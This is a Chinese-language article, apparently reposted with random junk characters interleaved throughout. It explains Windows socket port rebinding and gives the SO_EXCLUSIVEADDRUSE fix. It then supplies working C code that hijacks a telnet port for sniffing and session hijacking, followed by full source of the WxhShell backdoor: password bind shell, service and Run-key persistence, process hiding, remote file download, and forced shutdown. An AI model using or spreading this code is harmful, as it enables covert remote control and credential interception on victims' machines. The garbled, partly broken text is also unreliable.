在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iX WB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
G]{^.5 l|iOdKr h saddr.sin_family = AF_INET;
>yVp1Se cYXL3)p*Q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n,LM"N:
e Qk5:{[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
EziGkbpd@ c=QN!n:
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-@Urq>^v T Jr= fc*f 这意味着什么?意味着可以进行如下的攻击:
P,xJVo\ d0& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mahNQ5 W*) )heHERbJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^FVmP d*1 N2Ysi$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
71ab&V il b'z\|jY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
M{jq6c `%EcQ}Nr 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
GV28&!4sS UX<)hvKj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pf+VYZ#) SqdI($F\: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-M_>]ubG D;jbZ9 #include
CS5[E-%}T= #include
v(=0hY9
O #include
g!o2vTt5 #include
<G`1(,g DWORD WINAPI ClientThread(LPVOID lpParam);
]ms+Va_/ int main()
Bu+?N%CBi {
@8+v6z WORD wVersionRequested;
Ta/u&t4 DWORD ret;
? STO#<a WSADATA wsaData;
]0MuXiR BOOL val;
p=zTY7L SOCKADDR_IN saddr;
DsD? &: SOCKADDR_IN scaddr;
@`8a3sL) int err;
?Zk;NL9 SOCKET s;
pd& HC SOCKET sc;
-YmIRocx int caddsize;
2JcP4!RD HANDLE mt;
8OO[Le]1 DWORD tid;
TIR Is1 wVersionRequested = MAKEWORD( 2, 2 );
]*Q,~uV^| err = WSAStartup( wVersionRequested, &wsaData );
b`,Sd.2=(' if ( err != 0 ) {
'
I!/I printf("error!WSAStartup failed!\n");
UI%4d3 return -1;
!(viXV5 }
zMBGpqdP saddr.sin_family = AF_INET;
UO!} 0' e$JCak= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
zr_L
V_e bR~5
:A^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o;#8=q saddr.sin_port = htons(23);
5zkj;?s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b&
-8/t {
bd% M., printf("error!socket failed!\n");
-5|el3%) return -1;
%6m' |(- }
KrHKM 3< val = TRUE;
9zrTf%mF //SO_REUSEADDR选项就是可以实现端口重绑定的
vts" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c': 4e) {
SBf=d<j 1) printf("error!setsockopt failed!\n");
mV)t return -1;
hY!>> }
DUH_LnHw) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q9B!0G.-bs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V0&7MY * //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6pfkv2.} &GvSgdttv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~l{Qz0& {
oDJ
&{N| ret=GetLastError();
! hEZV&y printf("error!bind failed!\n");
mFxt +\ return -1;
H~SU:B: }
D ]
n|d+ listen(s,2);
5p5"3m;M7 while(1)
apgKC; {
Wm5[+z|2?9 caddsize = sizeof(scaddr);
QnS#"hc\a //接受连接请求
*M0O&" ~j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
m({q<&]Qp if(sc!=INVALID_SOCKET)
q;IuV&B
{
C dPQhv)m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Q2* 8c$ if(mt==NULL)
pSIXv%1J {
%L7DC` printf("Thread Creat Failed!\n");
SW+;%+` break;
\Y!=O=za] }
N'$P(
bx }
P4c3kO0 CloseHandle(mt);
UvB\kIH }
]#rV]As closesocket(s);
oIIi_yc WSACleanup();
OYn5k6 return 0;
RL/7>YQ }
;C
,
g6{ DWORD WINAPI ClientThread(LPVOID lpParam)
FeQo,a {
F MYcZ+4 SOCKET ss = (SOCKET)lpParam;
rd$T6!I SOCKET sc;
PxvxZJf$@ unsigned char buf[4096];
e^\#DDm SOCKADDR_IN saddr;
:,j^ei long num;
b9 li DWORD val;
BM)a,fIgo DWORD ret;
E<0Mluk //如果是隐藏端口应用的话,可以在此处加一些判断
N2k{@DY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[;F!\B- saddr.sin_family = AF_INET;
<S6?L[_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
hNgT/y8 saddr.sin_port = htons(23);
hE'7M; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Eb63O {
X}C8!LA printf("error!socket failed!\n");
R~hIo aiN return -1;
Z?3B1o9 }
m(kv:5<> val = 100;
l[m*csDk" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H1KXAy`& {
R[fQ$` M ret = GetLastError();
c'Z)uquvP return -1;
@Gw]cm }
6"}F
KRR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
EM+! ph {
QQS"K
g ret = GetLastError();
yv>uzb`N return -1;
i.?rom }
wN/v-^2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
DAORfFG74 {
u(?U[pe[ printf("error!socket connect failed!\n");
A=e1uBGA closesocket(sc);
k]RQ 7e closesocket(ss);
7v0VZ(UR return -1;
eoQt87VCU }
^nOh8L; while(1)
;pfN {
FYefn3b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.'2I9P\! //如果是嗅探内容的话,可以再此处进行内容分析和记录
-~4kh]7% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2e3AmR@* num = recv(ss,buf,4096,0);
-ik((qx_ if(num>0)
<@+L^Ps~z send(sc,buf,num,0);
f(!cz,y^\* else if(num==0)
xCT2FvX6 break;
d/$e#8 num = recv(sc,buf,4096,0);
sE|8a if(num>0)
Q^l!cL| { send(ss,buf,num,0);
Ah5o>ZtcO else if(num==0)
_,UYbD\[J} break;
6U%d3"T }
1 <lfo^B closesocket(ss);
FB>P39u closesocket(sc);
d.B<1"MQ return 0 ;
'}(Fj2P79 }
m6xbO M\IdQY-c ';D>Z?l ==========================================================
l^}5PHLd vMn$lT@ 下边附上一个代码,,WXhSHELL
J#iuF'%Ds wq1s#ag< ==========================================================
`w@z
Fc!" p}wysVB #include "stdafx.h"
X(DP=C}v9 Tkp"mT
v?< #include <stdio.h>
4mX]JH`UTe #include <string.h>
L5 Ai #include <windows.h>
wGIRRM !b #include <winsock2.h>
hg'eSU$J #include <winsvc.h>
6!*zgA5M' #include <urlmon.h>
z{V#_( J\'f5)k #pragma comment (lib, "Ws2_32.lib")
bS55/M w #pragma comment (lib, "urlmon.lib")
cP@H8|c= fmUrwI1 % #define MAX_USER 100 // 最大客户端连接数
rfSEL
57' #define BUF_SOCK 200 // sock buffer
29|nt1Z #define KEY_BUFF 255 // 输入 buffer
|N
2r?b/g gS] #define REBOOT 0 // 重启
~=oCou`XF #define SHUTDOWN 1 // 关机
Ip8:~Fl] j"zW0g!S #define DEF_PORT 5000 // 监听端口
;>X;cZMd _)3C_G1! #define REG_LEN 16 // 注册表键长度
fJ\u8 #define SVC_LEN 80 // NT服务名长度
j-FMWEp JPgFTr // 从dll定义API
4@a/k[, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
J^~J& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3(.Y>er%U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
k{ZQM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[W<j MD,BGO?C // wxhshell配置信息
9j5Z!Vsy struct WSCFG {
b#t5Dve int ws_port; // 监听端口
XQ}7.u! char ws_passstr[REG_LEN]; // 口令
NPa4I7`A int ws_autoins; // 安装标记, 1=yes 0=no
N"~P$B1X char ws_regname[REG_LEN]; // 注册表键名
r(n>N0:0Ls char ws_svcname[REG_LEN]; // 服务名
KRhls"\1 char ws_svcdisp[SVC_LEN]; // 服务显示名
"(';UFa char ws_svcdesc[SVC_LEN]; // 服务描述信息
XZ8]se"C char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6KN6SN$ int ws_downexe; // 下载执行标记, 1=yes 0=no
iP$>/ [I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&Fk|"f+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
X .K*</(g />>KCmc };
RcO.1@2 [?2?7>D8 // default Wxhshell configuration
eU]I !pI< struct WSCFG wscfg={DEF_PORT,
F)/4#[ "xuhuanlingzhe",
FS('*w&bP 1,
<5ULu(b&$ "Wxhshell",
7v.O Lp "Wxhshell",
j``Ku@/x0 "WxhShell Service",
~Q]::
"Wrsky Windows CmdShell Service",
lC
d\nE8G "Please Input Your Password: ",
a^O>i#i 1,
X>]<rEh "
http://www.wrsky.com/wxhshell.exe",
yRQNmR;Uy "Wxhshell.exe"
#}tdA(
- };
X1V~.kvt) hOdU% // 消息定义模块
a785xSUV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Wm)Id_ char *msg_ws_prompt="\n\r? for help\n\r#>";
I:MrX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@bnw$U`+ char *msg_ws_ext="\n\rExit.";
&{q'$oF char *msg_ws_end="\n\rQuit.";
F2)KAIl char *msg_ws_boot="\n\rReboot...";
9u3P>a~b char *msg_ws_poff="\n\rShutdown...";
%\!0*(8 char *msg_ws_down="\n\rSave to ";
sdgI , Az>r}*FGr char *msg_ws_err="\n\rErr!";
`P*w ZKlW char *msg_ws_ok="\n\rOK!";
T[cJ BcQw-<veu char ExeFile[MAX_PATH];
X %7l!
k[ int nUser = 0;
a
[f}-t9 HANDLE handles[MAX_USER];
`\=~
$&vjC int OsIsNt;
~!%G2E! s]D1s%Mx SERVICE_STATUS serviceStatus;
k6\&[BQs SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ms+SJ5Lg
!rG-[7K // 函数声明
_,p/2m-Pj int Install(void);
3rLc\rK int Uninstall(void);
N5x I;UV9' int DownloadFile(char *sURL, SOCKET wsh);
dLR[<@E int Boot(int flag);
FL0yRF5 void HideProc(void);
XuU>.T$] c int GetOsVer(void);
xa{.hp? int Wxhshell(SOCKET wsl);
D@@"w+ void TalkWithClient(void *cs);
J10&iCr{r* int CmdShell(SOCKET sock);
iqsR]mab int StartFromService(void);
W3R43>$ int StartWxhshell(LPSTR lpCmdLine);
m YhDi %UV"@I+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
H87k1^}HV VOID WINAPI NTServiceHandler( DWORD fdwControl );
G('UF1F v|3mbApv // 数据结构和表定义
!!~r1)zN SERVICE_TABLE_ENTRY DispatchTable[] =
z`]:\j'O3" {
NZwi3 {wscfg.ws_svcname, NTServiceMain},
Ov.oyke4 {NULL, NULL}
O8LIKD_I[ };
D8$4P T0u v~YGef;D // 自我安装
.9<euPrz int Install(void)
dzV2; {
IhK%.B{dZ char svExeFile[MAX_PATH];
"|PX5 HKEY key;
~C?)-
]bF strcpy(svExeFile,ExeFile);
HisH\z/i5) Enp;-wG:- // 如果是win9x系统,修改注册表设为自启动
91k-os(4] if(!OsIsNt) {
h6tYy_(G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tC7 4= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F C=N}5u RegCloseKey(key);
9*r l7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e8z?) 4T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I.%EYAai RegCloseKey(key);
U1|{7.R return 0;
?U2 'L2y }
Ir5E*op7D }
SzUH6|=.R= }
1XHE:0!dQ else {
?|n @%' wV4MP1c$ // 如果是NT以上系统,安装为系统服务
Nfmr5MU_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
TEC#owz if (schSCManager!=0)
vJb/.)gh] {
j`MK\*qmz SC_HANDLE schService = CreateService
UGoB7TEfn (
h6;zAM} schSCManager,
P|;f>*^Y wscfg.ws_svcname,
J d,9<m$ wscfg.ws_svcdisp,
OA[fQH#{lX SERVICE_ALL_ACCESS,
5`::#[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}=u#,nDl>$ SERVICE_AUTO_START,
D28>e SERVICE_ERROR_NORMAL,
q$}gQ9'z' svExeFile,
71\GK NULL,
OM@z5UP NULL,
$ao7pvU6 NULL,
f{{J_""?& NULL,
MK!Aq^Jz NULL
L#!m|_Mz );
}%0X7' if (schService!=0)
B}N1}i+
{
r(zn1;zl CloseServiceHandle(schService);
t&_X{!1X"w CloseServiceHandle(schSCManager);
FY/F}C,o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
U8<C4 strcat(svExeFile,wscfg.ws_svcname);
s/P+?8'9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
cSmy
M~[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
H9WXp& RegCloseKey(key);
e&NJj:Ph* return 0;
GX*9R> }
x,GLGGi}_x }
s Dsq:z CloseServiceHandle(schSCManager);
7{NH;U t }
d$n<^~Z }
Z!l]v.S Nema>T] return 1;
dl3}\o_ }
n
ON]YDg s&\krW& // 自我卸载
Qm*X Wo int Uninstall(void)
fC$@m_-KD {
]q&NO(:kbq HKEY key;
lLU8eHf\ 5>~D3?IAd if(!OsIsNt) {
?Q"1zcX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^szi[Cj RegDeleteValue(key,wscfg.ws_regname);
P5lk3Zg' RegCloseKey(key);
Iq
0ew if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
f#gV>.P;h\ RegDeleteValue(key,wscfg.ws_regname);
2_)gJ_kP RegCloseKey(key);
sR)jZpmC( return 0;
D4~]:@v~n }
nL[G@1nR }
S[N9/2 }
ff00s+ else {
+R;s<pZ^ _SU6Bd/> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
BteeQ&A|~ if (schSCManager!=0)
v
<OZ
#
L$ {
a`LkP% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D?4bp'0 3 if (schService!=0)
4EaxU !BT {
d *#.(C9^ if(DeleteService(schService)!=0) {
7&w| CloseServiceHandle(schService);
|n~,{= CloseServiceHandle(schSCManager);
bo@,
B return 0;
z8xBq%97us }
W mx3@]< CloseServiceHandle(schService);
+M<W8KF }
'c3'eJ0 CloseServiceHandle(schSCManager);
B|'}HBkP }
Tf('iZ2+ }
wNmC1HOh 3{|]@ L return 1;
kr-5O0tmf }
Fe.90) [ B*r{ // 从指定url下载文件
f85~[3
J int DownloadFile(char *sURL, SOCKET wsh)
{$v^2K'C {
L<6nM
;d HRESULT hr;
F& char seps[]= "/";
QXgfjo char *token;
u^W!$OfZpp char *file;
^sqzlF char myURL[MAX_PATH];
M0`1o p1 char myFILE[MAX_PATH];
p8Z;QH* #L57d strcpy(myURL,sURL);
&2I8!Ia token=strtok(myURL,seps);
F@zTz54t while(token!=NULL)
Oz)/KZ {
lr@w1* file=token;
VCvf'$4(X token=strtok(NULL,seps);
VmRfnH" }
9mjJC m7i(0jd
+ GetCurrentDirectory(MAX_PATH,myFILE);
q$Ms7` a strcat(myFILE, "\\");
0f_A"K strcat(myFILE, file);
kO$n0y5e send(wsh,myFILE,strlen(myFILE),0);
ab]Q1kD send(wsh,"...",3,0);
hFxT@I~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<`wOy[e if(hr==S_OK)
@a,=ApS" return 0;
G2-0r.f else
m!=5Q S3Z return 1;
^dE[ ; n~tb z"& }
G\^<MR| `,4@;j<^@ // 系统电源模块
Bx6,U4o* int Boot(int flag)
>Psq" Xj {
a2/Mf
HANDLE hToken;
fzvyR2 I TOKEN_PRIVILEGES tkp;
Z'Pe%}3 #rNc+ if(OsIsNt) {
UT[{NltH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9}Ge@a<j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-= izu]Fb, tkp.PrivilegeCount = 1;
/XU=l0u tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ai;Q,Vy AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
YHMJ5IM@. if(flag==REBOOT) {
q03+FLEfC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
# s7e/GdKb return 0;
xvomn`X1 }
1kR. .p<" else {
IM5[O}aq if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
g:GywXW return 0;
gQJLqs"F }
bbDm6, }
uX]]wj-R3 else {
<K,X5ctM} if(flag==REBOOT) {
eZ-fy,E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
@u:` return 0;
B<n[yiJ} }
7S=,# else {
dDD5OnWmJ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O f-xGoYZ return 0;
(U_HX2f }
yK$aVK" }
,KU%"{6 rBy0hGx return 1;
62y:i }
{J,4g:4G t1yOAbI // win9x进程隐藏模块
)VqPaKZl void HideProc(void)
E'5KJn;_7 {
3d4A~!Iz O'{kNr{u HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~*<`PD O? if ( hKernel != NULL )
9Oo`4 {
GlRjbNW?Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'cQ,;y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
USHQwn)% FreeLibrary(hKernel);
d2^/ }
K_-m:P hZ!kh3@:` return;
"?lz[K> }
OEXa}K# rm$dv%q // 获取操作系统版本
R. Fl5B int GetOsVer(void)
=tP^vgfQ {
+
#E?) OSVERSIONINFO winfo;
7J
?s&x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
B([-GpZt[ GetVersionEx(&winfo);
c h((u(G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7Z<GlNv return 1;
(n7{?`Yid else
#g0N/ return 0;
Fq5u%S }
9yWf*s< I,HtW ), // 客户端句柄模块
e6
x#4YH int Wxhshell(SOCKET wsl)
/e^) *r {
B3u/
y SOCKET wsh;
` aF8|tc_ struct sockaddr_in client;
|@yYM-;6 DWORD myID;
z!18Jh 9=}[~V n while(nUser<MAX_USER)
`h'=F(v(} {
~TeOl|!lE+ int nSize=sizeof(client);
DuDt'^] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o?Cc if(wsh==INVALID_SOCKET) return 1;
2N]8@a UK1 )U)*+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
-3azA7tzz if(handles[nUser]==0)
WVKAA. closesocket(wsh);
23`salLclG else
r<Cr)%z! nUser++;
j(]O$" " }
`wU['{= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1#Hr{&2 x?0K' return 0;
l^B4.1rT }
)pT5"{ F]r'j
ZL // 关闭 socket
@TX@78fWz= void CloseIt(SOCKET wsh)
)*{B_[ {
Sy4|JM-5 closesocket(wsh);
#s15AyKz5 nUser--;
3 H5 ExitThread(0);
_)!*,\*`{ }
?Tu=-ppw N- knhA // 客户端请求句柄
" zD9R4\X. void TalkWithClient(void *cs)
SK^(7Ws~0 {
\AA9
m'BZ \[.qN SOCKET wsh=(SOCKET)cs;
JX[]u<h? char pwd[SVC_LEN];
(xVx|:R[<H char cmd[KEY_BUFF];
e*PUs char chr[1];
$C fp1# int i,j;
R){O]<+ 8>6<GdGL<n while (nUser < MAX_USER) {
"kBVHy ID!S}D if(wscfg.ws_passstr) {
<)T~_s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_@[W[=|H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6
R})KIG //ZeroMemory(pwd,KEY_BUFF);
J5HK1 i=0;
!6RDq` while(i<SVC_LEN) {
3&AJN#c Ba|}$jo // 设置超时
q*`
m%3{ fd_set FdRead;
qQG? k~r struct timeval TimeOut;
~u2f`67{ FD_ZERO(&FdRead);
ruB D
^- FD_SET(wsh,&FdRead);
g<M!]0OK TimeOut.tv_sec=8;
HiU)q TimeOut.tv_usec=0;
~9vK6;0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ujmIS~" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
j|K;Yi r<!nU&FPD: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
a|oh Ad pwd
=chr[0]; j4=iHnE;
if(chr[0]==0xd || chr[0]==0xa) { `67i1w`
pwd=0; {z0iWY2Xw
break; Ng*-Bw)p]
} LD5`9-
i++; {"{]S12N
} \R]2YY`EP
;DYS1vG o
// 如果是非法用户,关闭 socket y_Urzgm(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F`x_W;\
} g)r{LxT# +
=RRv&
"2r
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t[>UAr1Vt
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LPu*Lkx
(PGw{_
while(1) { S2*sh2-&6
ckY#oRQ1
ZeroMemory(cmd,KEY_BUFF); {j]cL!Od
43M.Hj]
// 自动支持客户端 telnet标准 @P75f5p}<
j=0; HB'9&
while(j<KEY_BUFF) { -aok ]w
m
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a~_JTH4=t
cmd[j]=chr[0]; ]YFjz/f
if(chr[0]==0xa || chr[0]==0xd) { .IdbaH
_a
cmd[j]=0; 4* >j:1
break; )?(Ux1:w)
} 'b}RFzEn
j++; /NCN wAj7
} v^t7)nx^
2z;3NUL$n
// 下载文件 WlvT&W
if(strstr(cmd,"http://")) { 4=|Q2qgFV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j8[U}~*^
if(DownloadFile(cmd,wsh)) 2-8Dc4H]r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0NZ'(qf~9
else >uq0}HB$a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \OFmd!Cz
} ~Hub\kn
else { Sqb>aj
#!UJY%c~
switch(cmd[0]) { q6C`hVMl
pInEB6L.P
// 帮助 3I~.'>Pd
case '?': { 9S}rTZkEq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `H$XO{w
break; s_fe4K
} @!!u>1
// 安装 ZlMT) ~fM&
case 'i': { n~|?)EL
if(Install()) 2 A!*8w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;NdH]a{
else }k%6X@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S!=R\_{u$
break; 8&"Jlz
|
} 8_HBcZWs
// 卸载 !0Nf`iCQ(
case 'r': { i)X~L4gn
if(Uninstall()) +<F3}]]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PLs`Ci|`
else tR'RB@kJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M`'DD-Q
break; Q}lCQK/g
} P<vU!`x%q
// 显示 wxhshell 所在路径 @- |G_BZ
case 'p': { t7x<=rW7u
char svExeFile[MAX_PATH];
a}FyJp
strcpy(svExeFile,"\n\r"); 6#CswSpS
strcat(svExeFile,ExeFile); #vyf*jPr
send(wsh,svExeFile,strlen(svExeFile),0); cw
2!V@
break; 54>0Dv??H
}
O]=jI
// 重启 1aRTvaGo
case 'b': { W&
0R/y7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +O 7(
>a
if(Boot(REBOOT)) ;#v3C;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bs~P
else { C@`#@1X
closesocket(wsh); Icg-rwa<Z
ExitThread(0); b,~pwbHf
} ^t
gjs$M|
break; -`\rDPGf
} E#rQJ
// 关机 vMou`[\WlJ
case 'd': { ,s3|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6&SNFOX{@
if(Boot(SHUTDOWN)) zytN leyc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \z !lw
else { `I wZVz
closesocket(wsh); Ii[U%
ExitThread(0); ;u'VR}4ph
} MW rhVn{R
break; kGAgXtE
} -%fj-Y7y
// 获取shell )Wq1af
case 's': { ^il$t]X5-
CmdShell(wsh); :h34mNU
closesocket(wsh); v {HF}L
ExitThread(0); CS~onf<xz
break; =Vs?=|r
} PA,aYg0f
// 退出 xk>cdgt
case 'x': { \^dse
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }WC[<AqI
CloseIt(wsh); qF bj~ec
break; :3Q:pKg
} >KrI}>!9r
// 离开 IW<rmP=R&
case 'q': { &M?b08
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fn`Zw:vp6
closesocket(wsh); h]&
WSACleanup(); Qv~@
exit(1); -9{N7H
break; /fT"WaTEK
} M]{~T7n-
} p! :oT1U
} :~8@fEKb{
]aF;
// 提示信息 >@ 8'C"F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _4Eq_w`
} COHBjufmR
} tUULpx.h
hizM}d-"C
return; ?y>ji1
} '1b8>L
XTF[4#WO
// shell模块句柄 RA<ky*^dr
int CmdShell(SOCKET sock) WIi,`/K+
{ VZcW
3/Y
STARTUPINFO si; >fP;H}S6
ZeroMemory(&si,sizeof(si)); l]zQSXip
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L1!~T+%uQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ir>4- @
PROCESS_INFORMATION ProcessInfo; _w?!Mu
char cmdline[]="cmd"; bv]SR_Tiq
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nrev!h
return 0; ^ fC2o%3^
} zKJQel5
<CO_JWD
// 自身启动模式 l59\Lo:
int StartFromService(void) Psx"[2iZm
{ NCi~. I
typedef struct >&+V[srfD
{ LBD],Ba!
DWORD ExitStatus; Jb*QlsGd
DWORD PebBaseAddress; qdpi-*2
DWORD AffinityMask; 3)W_^6>bM
DWORD BasePriority; HJg&fkHn1
ULONG UniqueProcessId; |^5"-3Q
ULONG InheritedFromUniqueProcessId; F5x*#/af
